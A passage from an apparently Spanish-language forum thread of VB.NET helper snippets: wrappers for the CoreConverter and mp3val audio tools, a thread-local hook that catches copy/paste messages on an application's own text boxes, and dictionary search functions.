high
End Enum
''' <summary>
''' DSP Effects.
''' </summary>
Public Enum DSP_Effects
Delete_Output_File_on_Error ' Delete failed conversion (not deletes source file).
Delete_Source_File_After_Conversion ' Delete source file after conversion.
Recycle_Source_File_After_Conversion ' Send source file to recycle bin after conversion.
Karaoke_Remove_Voice ' Remove voice from file.
Karaoke_Remove_Instrument ' Remove instruments from file.
Reverse ' Reverse complete audio file.
Write_Silence ' Write silence at start of file.
End Enum
''' <summary>
''' CoreConverter Process.
''' </summary>
Private p As Process =
New Process With {.StartInfo =
New ProcessStartInfo With {
.CreateNoWindow = True, _
.UseShellExecute = False, _
.RedirectStandardError = True, _
.RedirectStandardOutput = True, _
.StandardErrorEncoding = System.Text.Encoding.Unicode, _
.StandardOutputEncoding = System.Text.Encoding.Unicode
}
}
#End Region
#Region " Events "
''' <summary>
''' Event raised when CoreConverter operation progress changes.
''' </summary>
Public Event Progress As EventHandler(Of ProgressEventArgs)
Public Class ProgressEventArgs : Inherits EventArgs
''' <summary>
''' Gets the CoreConverter operation percent done.
''' </summary>
Public Property Percent As Integer
End Class
''' <summary>
''' Event raised when CoreConverter process has started.
''' </summary>
Public Event Started As EventHandler(Of StartedEventArgs)
Public Class StartedEventArgs : Inherits EventArgs
''' <summary>
''' Gets the file that was passed as argument to the process.
''' </summary>
Public Property File As String
''' <summary>
''' Gets the type of operation to realize.
''' </summary>
Public Property Operation As Operation
End Class
''' <summary>
''' Event raised when CoreConverter process has exited.
''' </summary>
Public Event Exited As EventHandler(Of ExitedEventArgs)
Public Class ExitedEventArgs : Inherits EventArgs
''' <summary>
''' Gets the file that was passed as argument to the process.
''' </summary>
Public Property File As String
''' <summary>
''' Gets the type of operation to realize.
''' </summary>
Public Property Operation As Operation
''' <summary>
''' Gets an information message of the realized operation.
''' </summary>
Public Property InfoMessage As String
''' <summary>
''' Gets an error message of the realized operation (if any).
''' </summary>
Public Property ErrorMessage As String
''' <summary>
''' Gets the total elapsed time of the operation.
''' </summary>
Public Property ElapsedTime As String
End Class
#End Region
#Region " Codec Enumerations "
#Region " MP3 Lame "
Public Enum Lame_Bitrate
kbps_8 = 8
kbps_16 = 16
kbps_24 = 24
kbps_32 = 32
kbps_40 = 40
kbps_48 = 48
kbps_56 = 56
kbps_64 = 64
kbps_80 = 80
kbps_96 = 96
kbps_112 = 112
kbps_128 = 128
kbps_144 = 144
kbps_160 = 160
kbps_192 = 192
kbps_224 = 224
kbps_256 = 256
kbps_320 = 320
End Enum
Public Enum Lame_Bitrate_Mode
cbr
abr
End Enum
Public Enum Lame_Profile
NORMAL
FAST
SLOW
End Enum
Public Enum Lame_Quality
Q0_Maximum = 0
Q1 = 1
Q2 = 2
Q3 = 3
Q4 = 4
Q5 = 5
Q6 = 6
Q7 = 7
Q8 = 8
Q9_Minimum = 9
End Enum
Public Enum Lame_Khz
Same_As_Source
khz_8000 = 8000
khz_11025 = 11025
khz_12000 = 12000
khz_16000 = 16000
khz_22050 = 22050
khz_24000 = 24000
khz_32000 = 32000
khz_44100 = 44100
khz_48000 = 48000
End Enum
Public Enum Lame_Channels
auto
mono
stereo
joint_stereo
forced_joint_stereo
forced_stereo
dual_channels
End Enum
#End Region
#Region " WAV Uncompressed "
Public Enum WAV_Uncompressed_Bitrate
Same_As_Source
bits_8 = 8
bits_16 = 16
bits_24 = 24
bits_32 = 32
End Enum
Public Enum WAV_Uncompressed_Khz
Same_As_Source
khz_8000 = 8000
khz_11025 = 11025
khz_12000 = 12000
khz_16000 = 16000
khz_22050 = 22050
khz_24000 = 24000
khz_32000 = 32000
khz_44100 = 44100
khz_48000 = 48000
khz_96000 = 96000
khz_192000 = 192000
End Enum
Public Enum WAV_Uncompressed_Channels
Same_As_Source
Channels_1_Mono = 1
Channels_2_Stereo = 2
Channels_3 = 3
Channels_4_Quadraphonic = 4
Channels_5_Surround = 5
Channels_6_Surround_DVD = 6
Channels_7 = 7
Channels_8_Theater = 8
End Enum
#End Region
#Region " WMA 9.2 "
Public Enum WMA_9_2_BitRates
Kbps_12 = 12
Kbps_16 = 16
Kbps_20 = 20
Kbps_22 = 22
Kbps_24 = 24
Kbps_32 = 32
Kbps_40 = 40
Kbps_48 = 48
Kbps_64 = 64
Kbps_80 = 80
Kbps_96 = 96
Kbps_128 = 128
Kbps_160 = 160
Kbps_192 = 192
Kbps_256 = 256
Kbps_320 = 320
End Enum
Enum WMA_9_2_Khz
Khz_8000 = 8
Khz_16000 = 16
Khz_22050 = 22
Khz_32000 = 32
Khz_44100 = 44
Khz_48000 = 48
End Enum
Enum WMA_9_2_Channels
mono
stereo
End Enum
#End Region
#End Region
#Region " CoreConverter Procedures "
''' <summary>
''' Checks if CoreConverter process is avaliable.
''' </summary>
Public Function Is_Avaliable() As Boolean
Return IO.File.Exists(Me.CoreConverter_location)
End Function
''' <summary>
''' Converts a file to MP3 using Lame codec.
''' </summary>
Public Sub Convert_To_MP3(ByVal In_File As String, _
ByVal Out_File As String, _
ByVal Bitrate As Lame_Bitrate, _
ByVal Bitrate_Mode As Lame_Bitrate_Mode, _
ByVal Encoding_Profile As Lame_Profile, _
ByVal Quality As Lame_Quality, _
ByVal Khz As Lame_Khz, _
ByVal Channels As Lame_Channels, _
Optional ByVal DSP_Effects() As DSP_Effects = Nothing, _
Optional ByVal Update_Tag As Boolean = True, _
Optional ByVal Priority As Priority = Priority.normal, _
Optional ByVal Processor As Short = 1)
Get_Effects(DSP_Effects)
Set_Main_Arguments("mp3 (Lame)",
In_File,
Out_File,
If(Not Update_Tag, "-noidtag", ""),
Effects,
Priority.ToString,
Processor.ToString)
p.StartInfo.Arguments &= _
String.Format("-b {0} --{1} -encoding=""{2}"" -freq=""{3}"" -channels=""{4}"" --noreplaygain --extracli=""-q {5}""", _
CInt(Bitrate), _
Bitrate_Mode.ToString, _
Encoding_Profile.ToString, _
If(Khz = Lame_Khz.Same_As_Source, "", CInt(Khz)), _
If(Channels = Lame_Channels.auto, "", Channels), _
CInt(Quality))
Run_CoreConverter(In_File, Operation.MP3_Conversion)
End Sub
''' <summary>
''' Converts a file to Uncompressed WAV.
''' </summary>
Public Sub Convert_To_WAV_Uncompressed(ByVal In_File As String, _
ByVal Out_File As String, _
ByVal Bitrate As WAV_Uncompressed_Bitrate, _
ByVal Khz As WAV_Uncompressed_Khz, _
ByVal Channels As WAV_Uncompressed_Channels, _
Optional ByVal DSP_Effects() As DSP_Effects = Nothing, _
Optional ByVal Update_Tag As Boolean = True, _
Optional ByVal Priority As Priority = Priority.normal, _
Optional ByVal Processor As Short = 1)
Get_Effects(DSP_Effects)
Set_Main_Arguments("Wave",
In_File,
Out_File,
If(Not Update_Tag, "-noidtag", ""),
Effects,
Priority.ToString,
Processor.ToString)
p.StartInfo.Arguments &= _
String.Format("-compression=""PCM"" -bits=""{0}"" -freq=""{1}"" -channels=""{2}""", _
If(Bitrate = WAV_Uncompressed_Bitrate.Same_As_Source, "", CInt(Bitrate)), _
If(Khz = WAV_Uncompressed_Khz.Same_As_Source, "", CInt(Khz)), _
If(Channels = WAV_Uncompressed_Channels.Same_As_Source, "", CInt(Channels)))
Run_CoreConverter(In_File, Operation.WAV_Conversion)
End Sub
''' <summary>
''' Converts a file to WMA v9.2
''' </summary>
Public Sub Convert_To_WMA(ByVal In_File As String, _
ByVal Out_File As String, _
ByVal Bitrate As WMA_9_2_BitRates, _
ByVal Khz As WMA_9_2_Khz, _
ByVal Channels As WMA_9_2_Channels, _
Optional ByVal DSP_Effects() As DSP_Effects = Nothing, _
Optional ByVal Update_Tag As Boolean = True, _
Optional ByVal Priority As Priority = Priority.normal, _
Optional ByVal Processor As Short = 1)
Get_Effects(DSP_Effects)
Set_Main_Arguments("Windows Media Audio 10",
In_File,
Out_File,
If(Not Update_Tag, "-noidtag", ""),
Effects,
Priority.ToString,
Processor.ToString)
p.StartInfo.Arguments &= _
String.Format("-codec=""Windows Media Audio 9.2"" -settings=""{0} kbps, {1} kHz, {2} CBR""",
CInt(Bitrate), _
CInt(Khz), _
Channels.ToString)
Run_CoreConverter(In_File, Operation.WMA_Conversion)
End Sub
#End Region
#Region " Run Procedure "
''' <summary>
''' Runs a specific operation of CoreConverter.
''' </summary>
Private Sub Run_CoreConverter(ByVal file As String,
ByVal operation As Operation)
If Me.CheckFileExist Then
FileExist(file)
End If
CurrentProgress = 0
p.StartInfo.FileName = Me.CoreConverter_location
p.Start()
With StartedArgs
.File = file
.Operation = operation
End With
RaiseEvent Started(p, StartedArgs)
While Not p.HasExited
OutputCharacter = ChrW(p.StandardOutput.Read)
If OutputCharacter = "*" Then
ProgressArgs.Percent = CInt((Threading.Interlocked.Increment(CurrentProgress) / 59) * 100)
RaiseEvent Progress(p, ProgressArgs)
End If
If CurrentProgress = 59 Then
' I store the last line(s) because it has interesting information:
' Example Output: "Conversion completed in 30 seconds x44 realtime encoding"
InfoMessage = p.StandardOutput.ReadToEnd.Trim
End If
End While
' Stores the Error Message (If any)
ErrorMessage = p.StandardError.ReadToEnd.Trim
If Not String.IsNullOrEmpty(InfoMessage) Then
' Stores additional information
ExtraInfo = InfoMessage.Split(Environment.NewLine)
Select Case ExtraInfo.Length
Case 1
ElapsedTime = ExtraInfo.Last.Split()(3) & " " & ExtraInfo.Last.Split()(4) ' Example: "50,2 seconds"
Case 2
ElapsedTime = ExtraInfo.Last.Split()(4) & " " & ExtraInfo.Last.Split()(5) ' Example: "50,2 seconds"
Case Is < 1, Is > 2
Throw New Exception("Unmanaged Process Output Length")
End Select
End If
With ExitedArgs
.File = file
.Operation = operation
.InfoMessage = InfoMessage
.ErrorMessage = ErrorMessage
.ElapsedTime = ElapsedTime
End With
RaiseEvent Exited(p, ExitedArgs)
' CoreConverter.Close()
End Sub
#End Region
#Region " Miscellaneous procedures "
''' <summary>
''' Checks if a file exists.
''' </summary>
Private Sub FileExist(ByVal File As String)
If Not IO.File.Exists(File) Then
' Throw New Exception("File doesn't exist: " & File)
MessageBox.Show("File doesn't exist: " & File, "CoreConverter", MessageBoxButtons.OK, MessageBoxIcon.Error)
End If
End Sub
''' <summary>
''' Sets the static arguments of CoreConverter process.
''' </summary>
Private Sub Set_Main_Arguments(ByVal Codec_Name As String, _
ByVal In_File As String, _
ByVal Out_File As String, _
ByVal Update_Tag As String, _
ByVal Effects As String, _
ByVal Priority As String, _
ByVal Processor As String)
p.StartInfo.Arguments = _
String.Format("-infile=""{0}"" -outfile=""{1}"" -convert_to=""{2}"" {3} {4} -priority=""{5}"" -processor=""{6}"" ",
In_File,
Out_File,
Codec_Name,
Update_Tag,
Effects,
Priority,
Processor)
End Sub
''' <summary>
''' Join all DSP Effects and returns a formatted string.
''' </summary>
Private Function Get_Effects(ByVal DSP_Effects() As DSP_Effects) As String
If DSP_Effects Is Nothing Then
Return Nothing
Else
For Effect As Integer = 0 To DSP_Effects.Length - 1
Effects &= String.Format(" -dspeffect{0}={1}", _
Effect + 1, _
Format_DSP_Effect(DSP_Effects(Effect).ToString))
Next Effect
Return Effects
End If
End Function
''' <summary>
''' Returns a formatted string of a single DSP Effects.
''' </summary>
Private Shared Function Format_DSP_Effect(ByVal Effect As String)
Select Case Effect
Case "Reverse"
Return """Reverse"""
Case "Delete_Output_File_on_Error"
Return """Delete Destination File on Error="""
Case "Recycle_Source_File_After_Conversion"
Return """Delete Source File=-recycle"""
Case "Delete_Source_File_After_Conversion"
Return """Delete Source File="""
Case "Karaoke_Remove_Voice"
Return """Karaoke (Voice_ Instrument Removal)="""
Case "Karaoke_Remove_Instrument"
Return """Karaoke (Voice_ Instrument Removal)=-i"""
Case "Write_Silence"
Return """Write Silence=-lengthms={qt}2000{qt}""" ' 2 seconds
Case Else
Return String.Empty
End Select
End Function
#End Region
#Region " IDisposable "
''' <summary>
''' Disposes the objects generated by this instance.
''' </summary>
Public Sub Dispose() Implements IDisposable.Dispose
Dispose(True)
GC.SuppressFinalize(Me)
End Sub
Protected Overridable Sub Dispose(IsDisposing As Boolean)
Static IsBusy As Boolean ' To detect redundant calls.
If Not IsBusy AndAlso IsDisposing Then
p.Dispose()
End If
IsBusy = True
End Sub
#End Region
End Class
#End Region
Una versión mejorada de mi ayudante para la aplicación mp3val... mejoré lo que pude el código y le añadi algunos eventos esenciales...
Un ejemplo de uso:
Public Class Form1
Private WithEvents _mp3val As New mp3val _
With {.mp3val_location = "C:\windows\system32\mp3val.exe",
.CheckFileExist = True}
Private Sub Test() Handles MyBase.Shown
MsgBox(_mp3val.Is_Avaliable()) ' Checks if mp3gain executable is avaliable.
MsgBox(_mp3val.Get_Tags(New IO.FileInfo("C:\File.mp3"))) ' Return the TagTypes of an MP3 file.
_mp3val.Analyze("C:\File.mp3") ' Analyzes an MP3 file.
_mp3val.Fix("C:\File.mp3") ' Fix an MP3 file.
End Sub
' mp3val [Started]
Private Sub mp3val_Started(ByVal sender As Process, ByVal e As mp3val.StartedEventArgs) _
Handles _mp3val.Started
Dim sb As New System.Text.StringBuilder
sb.AppendLine(String.Format("Started an ""{0}"" operation", e.Operation.ToString))
sb.AppendLine(String.Format("Input file is: ""{0}""", e.File))
sb.AppendLine(String.Format("mp3val process PID is: ""{0}""", CStr(sender.Id)))
MessageBox.Show(sb.ToString, "mp3val", MessageBoxButtons.OK, MessageBoxIcon.Information)
End Sub
' mp3val [Exited]
Private Sub mp3val_Exited(ByVal sender As Process, ByVal e As mp3val.ExitedEventArgs) _
Handles _mp3val.Exited
Dim sb As New System.Text.StringBuilder
sb.AppendLine(String.Format("Finished an ""{1}"" operation in file ""{2}""{0}",
Environment.NewLine,
e.Operation.ToString,
e.File))
sb.AppendLine(String.Format("File information:{0}{1}{0}",
Environment.NewLine,
e.Info))
sb.AppendLine("Warnings found:")
If e.Warnings.Count Then
For Each wrn As String In e.Warnings
sb.AppendLine(wrn)
Next wrn
Else
sb.AppendLine("Any" & Environment.NewLine)
End If
sb.AppendLine("Errors found:")
If e.Errors.Count Then
For Each err As String In e.Errors
sb.AppendLine(err)
Next err
Else
sb.AppendLine("Any" & Environment.NewLine)
End If
If e.Operation = mp3val.Operation.Fix Then
sb.AppendLine(String.Format("File was fixed?: {0}",
e.FileIsFixed))
End If
MessageBox.Show(sb.ToString,
"mp3val",
MessageBoxButtons.OK,
MessageBoxIcon.Information)
End Sub
End Class
El ayudante:
' [ mp3val Helper ]
'
' // By Elektro H@cker
'
' Instructions:
' 1. Add the "mp3val.exe" into the directory project.
#Region " mp3val Helper "
Public Class mp3val : Implements IDisposable
#Region " CommandLine parametter legend "
' -f | try to fix errors
' -nb | delete .bak file
' -t | keep file timestamp
#End Region
#Region " Variables, Properties, Enums "
''' <summary>
''' Gets or sets the mp3val executable path.
''' </summary>
Public Property mp3val_location As String = ".\mp3val.exe"
''' <summary>
''' Indicates if should check that the MP3 file exist before realize an operation.
''' If True, an exception will be launched if file does not exist.
''' </summary>
Public Property CheckFileExist As Boolean = False
''' <summary>
''' Stores the process StandardOutput.
''' </summary>
Private StandardOutput As String = String.Empty
''' <summary>
''' Stores the process StandardError.
''' </summary>
Private StandardError As String = String.Empty
''' <summary>
''' Stores some information about the file.
''' </summary>
Private Info As String = String.Empty
''' <summary>
''' Stores all the warnings of the file.
''' </summary>
Private Warnings As New List(Of String)
''' <summary>
''' Stores all the errors of the file.
''' </summary>
Private Errors As New List(Of String)
''' <summary>
''' Stores the tags of the file.
''' </summary>
Private Tags As String = String.Empty
''' <summary>
''' Gets some information about the file.
''' </summary>
Private Info_RegEx As New System.Text.RegularExpressions.Regex("INFO:.*:\s(.*)",
System.Text.RegularExpressions.RegexOptions.Multiline)
''' <summary>
''' Gets all the warning occurences.
''' </summary>
Private Warning_RegEx As New System.Text.RegularExpressions.Regex("WARNING:.*:\s(.*)",
System.Text.RegularExpressions.RegexOptions.Multiline)
''' <summary>
''' Gets a value indicating if the file was fixed or not.
''' </summary>
Private Fixed_RegEx As New System.Text.RegularExpressions.Regex("^FIXED:",
System.Text.RegularExpressions.RegexOptions.Multiline)
''' <summary>
''' mp3val Process
''' </summary>
Private p As Process =
New Process With {.StartInfo =
New ProcessStartInfo With {
.CreateNoWindow = True,
.UseShellExecute = False,
.RedirectStandardError = True,
.RedirectStandardOutput = True _
}
}
''' <summary>
''' Stores the StartedEventArgs Arguments.
''' </summary>
Private StartedArgs As New StartedEventArgs
''' <summary>
''' Stores the ExitedEventArgs Arguments.
''' </summary>
Private ExitedArgs As New ExitedEventArgs
''' <summary>
''' MP3Val Type Of Operation.
''' </summary>
Public Enum Operation As Short
Analyze = 0
Fix = 1
Get_Tags = 2
End Enum
#End Region
#Region " Events "
''' <summary>
''' Event raised when the process has started.
''' </summary>
Public Event Started As EventHandler(Of StartedEventArgs)
Public Class StartedEventArgs : Inherits EventArgs
''' <summary>
''' Gets the file that was passed as argument to the process.
''' </summary>
Public Property File As String
''' <summary>
''' Gets the type of operation to realize.
''' </summary>
Public Property Operation As Operation
End Class
''' <summary>
''' Event raised when the process has exited.
''' </summary>
Public Event Exited As EventHandler(Of ExitedEventArgs)
Public Class ExitedEventArgs : Inherits EventArgs
''' <summary>
''' Gets the file that was passed as argument to the process.
''' </summary>
Public Property File As String
''' <summary>
''' Gets the type of operation to realize.
''' </summary>
Public Property Operation As Operation
''' <summary>
''' Gets some information about the file.
''' </summary>
Public Property Info As String
''' <summary>
''' Gets the warnings found.
''' </summary>
Public Property Warnings As New List(Of String)
''' <summary>
''' Gets the errors found.
''' </summary>
Public Property Errors As New List(Of String)
''' <summary>
''' Gets a value indicating if file was fixed.
''' This is only usefull when doing a Fix operation.
''' </summary>
Public Property FileIsFixed As Boolean
End Class
#End Region
#Region " MP3Val Procedures "
''' <summary>
''' Checks if mp3val process is avaliable.
''' </summary>
Public Function Is_Avaliable() As Boolean
Return IO.File.Exists(Me.mp3val_location)
End Function
''' <summary>
''' Analyzes a file and returns the problems (if any).
''' </summary>
Public Function Analyze(ByVal MP3_File As String) As List(Of String)
Return Run_MP3VAL(MP3_File,
Operation.Analyze,
ControlChars.Quote & MP3_File & ControlChars.Quote)
End Function
''' <summary>
''' Analyzes a file and returns the problems (if any).
''' </summary>
Public Function Analyze(ByVal MP3_File As IO.FileInfo) As List(Of String)
Return Run_MP3VAL(MP3_File.FullName,
Operation.Analyze,
ControlChars.Quote & MP3_File.FullName & ControlChars.Quote)
End Function
''' <summary>
''' Try to Fix/Rebuild problems of a file,
''' and returns a value indicating if file was fixed or not.
''' </summary>
Public Function Fix(ByVal MP3_File As String,
Optional ByVal Delete_Backup_File As Boolean = False,
Optional ByVal Preserve_Datestamp As Boolean = True) As Boolean
Return Run_MP3VAL(MP3_File,
Operation.Fix,
String.Format("-f {0} {1} ""{2}""",
If(Delete_Backup_File, "-nb", ""),
If(Preserve_Datestamp, "-t", ""),
MP3_File))
End Function
''' <summary>
''' Try to Fix/Rebuild problems of a file,
''' and returns a value indicating if file was fixed or not.
''' </summary>
Public Function Fix(ByVal MP3_File As IO.FileInfo,
Optional ByVal Delete_Backup_File As Boolean = False,
Optional ByVal Preserve_Datestamp As Boolean = True) As Boolean
Return Run_MP3VAL(MP3_File.FullName,
Operation.Fix,
String.Format("-f {0} {1} ""{2}""",
If(Delete_Backup_File, "-nb", ""),
If(Preserve_Datestamp, "-t", ""),
MP3_File.FullName))
End Function
''' <summary>
''' Return the metadata ID types of a file.
''' </summary>
Public Function Get_Tags(ByVal MP3_File As String) As String
Return Run_MP3VAL(MP3_File,
Operation.Get_Tags,
ControlChars.Quote & MP3_File & ControlChars.Quote)
End Function
''' <summary>
''' Return the metadata ID types of a file.
''' </summary>
Public Function Get_Tags(ByVal MP3_File As IO.FileInfo) As String
Return Run_MP3VAL(MP3_File.FullName,
Operation.Get_Tags,
ControlChars.Quote & MP3_File.FullName & ControlChars.Quote)
End Function
#End Region
#Region " Run Procedure "
''' <summary>
''' Runs mp3val process.
''' </summary>
Private Function Run_MP3VAL(ByVal MP3_File As String,
ByVal operation As Operation,
ByVal arguments As String) As Object
If Me.CheckFileExist Then
FileExist(MP3_File)
End If
With p.StartInfo
.FileName = Me.mp3val_location
.Arguments = arguments
End With
Warnings.Clear() : Errors.Clear()
p.Start()
RaiseEvent_Started(MP3_File, operation)
p.WaitForExit()
StandardError = p.StandardError.ReadToEnd
StandardOutput = p.StandardOutput.ReadToEnd
Info = Info_RegEx.Match(StandardOutput).Groups(1).Value.Trim
For Each m As System.Text.RegularExpressions.Match In Warning_RegEx.Matches(StandardOutput)
Warnings.Add(m.Groups(1).Value)
Next m
For Each e As String In StandardError.Split(Environment.NewLine)
If Not String.IsNullOrEmpty(e.Trim) Then
Errors.Add(e)
End If
Next e
Select Case operation
Case mp3val.Operation.Analyze
RaiseEvent_Exited(MP3_File,
operation.Analyze,
Info,
Warnings.Distinct.ToList,
Errors,
False)
Return Warnings.Concat(Errors).Distinct.ToList
Case mp3val.Operation.Fix
RaiseEvent_Exited(MP3_File,
operation.Fix,
Info,
Warnings.Distinct.ToList,
Errors,
Fixed_RegEx.IsMatch(StandardOutput))
Return Fixed_RegEx.IsMatch(StandardOutput)
Case mp3val.Operation.Get_Tags
RaiseEvent_Exited(MP3_File,
operation.Get_Tags,
Info,
Warnings.Distinct.ToList,
Errors,
False)
If Not String.IsNullOrEmpty(Info) Then
Tags = Info.Split(",")(1).Trim
If Tags = "no tags" Then
Return "No tags"
Else
Return Tags.Substring(1).Replace("+", ", ")
End If
Else
Return "Can't examine tag type."
End If
Case Else
Return Nothing
End Select
End Function
#End Region
#Region " Miscellaneous preocedures "
''' <summary>
''' Checks if a file exists.
''' </summary>
Private Sub FileExist(ByVal File As String)
If Not IO.File.Exists(File) Then
Throw New Exception(String.Format("File doesn't exist: ""{0}""", File))
' MessageBox.Show(String.Format("File doesn't exist: ""{0}""", File), "mp3val", MessageBoxButtons.OK, MessageBoxIcon.Error)
End If
End Sub
''' <summary>
''' Raises the Event Started
''' </summary>
Private Sub RaiseEvent_Started(ByVal File As String,
ByVal Operation As Operation)
With StartedArgs
.File = File
.Operation = Operation
End With
RaiseEvent Started(p, StartedArgs)
End Sub
''' <summary>
''' Raises the Event Exited
''' </summary>
Private Sub RaiseEvent_Exited(ByVal File As String,
ByVal Operation As Operation,
ByVal Info As String,
ByVal Warnings As List(Of String),
ByVal Errors As List(Of String),
ByVal IsFixed As Boolean)
With ExitedArgs
.File = File
.Operation = Operation
.Info = Info
.Warnings = Warnings
.Errors = Errors
.FileIsFixed = IsFixed
End With
RaiseEvent Exited(p, ExitedArgs)
End Sub
#End Region
#Region " IDisposable "
''' <summary>
''' Disposes the objects generated by this instance.
''' </summary>
Public Sub Dispose() Implements IDisposable.Dispose
Dispose(True)
GC.SuppressFinalize(Me)
End Sub
Protected Overridable Sub Dispose(IsDisposing As Boolean)
Static IsBusy As Boolean ' To detect redundant calls.
If Not IsBusy AndAlso IsDisposing Then
p.Dispose()
End If
IsBusy = True
End Sub
#End Region
End Class
#End Region
Un pequeño hook para capturar los mensajes del menú de edición del menú contextual (por defecto) de un Textbox (las opciones de copiar, pegar, cortar, y eliminar).
En un post anterior posteé la forma de capturarl dichos mensajes heredando el Textbox, pero este código es diferente, no depende de ningun control, se puede usar como otra Class cualquiera para capturar los mensajes en cualquier textbox (menos los textbox de Krypton y otros...) sin necesidad de heredar el control.
PD: El código no es del todo de mi propiedad, me han ayudado un poquito.
#Region " Capture Windows ContextMenu Edit Options "
' [ Capture Windows ContextMenu Edit Options ]
'
' Examples :
'
' Public Class Form1
'
' Private WithEvents EditMenu As New EditMenuHook
'
' Protected Overrides Sub OnLoad(e As EventArgs)
' MyBase.OnLoad(e)
' ' Capture the EditMenu Messages for TextBox1 and TextBox2
' EditMenuHook.Controls = {TextBox1, TextBox2}
' ' Enable the Hook
' EditMenuHook.Enable(True)
' End Sub
'
' Protected Overrides Sub OnClosed(e As EventArgs)
' ' Disable the Hook
' EditMenuHook.Enable(False)
' MyBase.OnClosed(e)
' End Sub
'
' Private Sub TextBox_OnTextCommand(sender As Object, e As EditMenuHook.TextCommandEventArgs) _
' Handles EditMenu.OnCopy, EditMenu.OnCut, EditMenu.OnPaste, EditMenu.OnDelete
'
' MessageBox.Show(String.Format("Control:{0} Message:{1}", sender.name, e.Command.ToString))
'
' End Sub
'
' End Class
Imports System.Runtime.InteropServices
Friend Class EditMenuHook
<DllImport("User32.dll", CharSet:=CharSet.Auto, CallingConvention:=CallingConvention.StdCall)> _
Public Overloads Shared Function SetWindowsHookEx _
(ByVal idHook As Integer, ByVal HookProc As CallBack, ByVal hInstance As IntPtr, ByVal wParam As Integer) As Integer
End Function
<DllImport("User32.dll", CharSet:=CharSet.Auto, CallingConvention:=CallingConvention.StdCall)> _
Public Overloads Shared Function CallNextHookEx _
(ByVal idHook As Integer, ByVal nCode As Integer, ByVal wParam As IntPtr, ByVal lParam As IntPtr) As Integer
End Function
<DllImport("User32.dll", CharSet:=CharSet.Auto, CallingConvention:=CallingConvention.StdCall)> _
Public Overloads Shared Function UnhookWindowsHookEx _
(ByVal idHook As Integer) As Boolean
End Function
Public Enum TextCommandMessage
WM_CUT = &H300
WM_COPY = &H301
WM_PASTE = &H302
WM_DELETE = &H303
End Enum
Public Structure CWPSTRUCT
Public lParam As IntPtr
Public wParam As IntPtr
Public message As UInt32
Public hWnd As IntPtr
End Structure
Public Delegate Function CallBack( _
ByVal nCode As Integer, _
ByVal wParam As IntPtr, _
ByVal lParam As IntPtr) As Integer
Private Shared WithEvents CopyOrCut_Timer As New Timer _
With {.Interval = 50, .Enabled = False}
' The Control to monitor and report the TextCommand Messages.
Public Shared Controls As Control() = Nothing
Public Shared MessagesEnabled As Boolean = True
Private Shared CopyMessageEnabled As Boolean = True
Shared hHook As Integer = 0
Private Shared cwp As CWPSTRUCT
Private Const WH_CALLWNDPROC = 4
'Keep the reference so that the delegate is not garbage collected.
Private Shared hookproc As CallBack
Public Class TextCommandEventArgs
Inherits EventArgs
Public Property Command As TextCommandMessage
End Class
Shared Event OnCut(sender As Object, e As TextCommandEventArgs)
Shared Event OnCopy(sender As Object, e As TextCommandEventArgs)
Shared Event OnPaste(sender As Object, e As TextCommandEventArgs)
Shared Event OnDelete(sender As Object, e As TextCommandEventArgs)
Friend Shared Sub Enable(enable As Boolean)
If hHook = 0 AndAlso enable = True Then
hookproc = AddressOf EditCommandHook
hHook = SetWindowsHookEx(WH_CALLWNDPROC, _
hookproc, _
IntPtr.Zero, _
AppDomain.GetCurrentThreadId())
If hHook.Equals(0) Then
MsgBox("SetWindowsHookEx Failed")
Return
End If
ElseIf hHook <> 0 AndAlso enable = False Then
Dim ret As Boolean = UnhookWindowsHookEx(hHook)
If ret.Equals(False) Then
MsgBox("UnhookWindowsHookEx Failed")
Return
Else
hHook = 0
End If
End If
End Sub
Private Shared Function EditCommandHook(ByVal nCode As Integer, _
ByVal wParam As IntPtr, _
ByVal lParam As IntPtr) As Integer
If nCode < 0 Then
Return CallNextHookEx(hHook, nCode, wParam, lParam)
End If
cwp = DirectCast(Marshal.PtrToStructure(lParam, GetType(CWPSTRUCT)), CWPSTRUCT)
For Each ctrl As Control In Controls
If cwp.hWnd = ctrl.Handle Then
Select Case cwp.message
Case TextCommandMessage.WM_CUT
CopyMessageEnabled = False
RaiseEvent OnCut(ctrl, New TextCommandEventArgs() _
With {.Command = TextCommandMessage.WM_CUT})
Case TextCommandMessage.WM_COPY
If CopyMessageEnabled Then
RaiseEvent OnCopy(ctrl, New TextCommandEventArgs() _
With {.Command = TextCommandMessage.WM_COPY})
Else
CopyMessageEnabled = True
End If
Case TextCommandMessage.WM_PASTE
RaiseEvent OnPaste(ctrl, New TextCommandEventArgs() _
With {.Command = TextCommandMessage.WM_PASTE})
Case TextCommandMessage.WM_DELETE
RaiseEvent OnDelete(ctrl, New TextCommandEventArgs() _
With {.Command = TextCommandMessage.WM_DELETE})
End Select
End If
Next
Return CallNextHookEx(hHook, nCode, wParam, lParam)
End Function
End Class
#End Region
Devuelve un Array con las ocurrencias que se encuentren de una Value en un Diccionario
#Region " Match Dictionary Values "
' [ Match Dictionary Values ]
'
' // By Elektro H@cker
'
' Examples :
'
' MsgBox(Match_Dictionary_Values(New Dictionary(Of Integer, String) From {{1, "Hello World!"}},
' "hello", False, StringComparison.CurrentCultureIgnoreCase).First.Value)
Private Function Match_Dictionary_Values(Of K)(
ByVal Dictionary As Dictionary(Of K, String),
ByVal Value As String,
ByVal MatchWholeWord As Boolean,
ByVal IgnoreCase As StringComparison) As KeyValuePair(Of K, String)()
If MatchWholeWord Then
Return (From kp As KeyValuePair(Of K, String) In Dictionary
Where String.Compare(kp.Value, Value, IgnoreCase) = 0).ToArray
Else
Return (From kp As KeyValuePair(Of K, String) In Dictionary
Where kp.Value.IndexOf(Value, 0, IgnoreCase) > -1).ToArray
End If
End Function
#End Region
Devuelve un Array con las ocurrencias que se encuentren de una Key en un Diccionario
#Region " Match Dictionary Keys "
' [ Match Dictionary Keys ]
'
' // By Elektro H@cker
'
' Examples :
'
' MsgBox(Match_Dictionary_Keys(New Dictionary(Of String, Integer) From {{"Hello World!", 1}},
' "hello", False, StringComparison.CurrentCultureIgnoreCase).First.Key)
Private Function Match_Dictionary_Keys(Of V)(
ByVal Dictionary As Dictionary(Of String, V),
ByVal Key As String,
ByVal MatchWholeWord As Boolean,
ByVal IgnoreCase As StringComparison) As KeyValuePair(Of String, V)()
If MatchWholeWord Then
Return (From kp As KeyValuePair(Of String, V) In Dictionary
Where String.Compare(kp.Key, Key, IgnoreCase) = 0).ToArray
Else
Return (From kp As KeyValuePair(Of String, V) In Dictionary
Where kp.Key.IndexOf(Key, 0, IgnoreCase) > -1).ToArray
End If
End Function
#End Region
Devuelve True si se encuentra alguna ocurrencia de un Value en un Diccionario.
#Region " Find Dictionary Value "
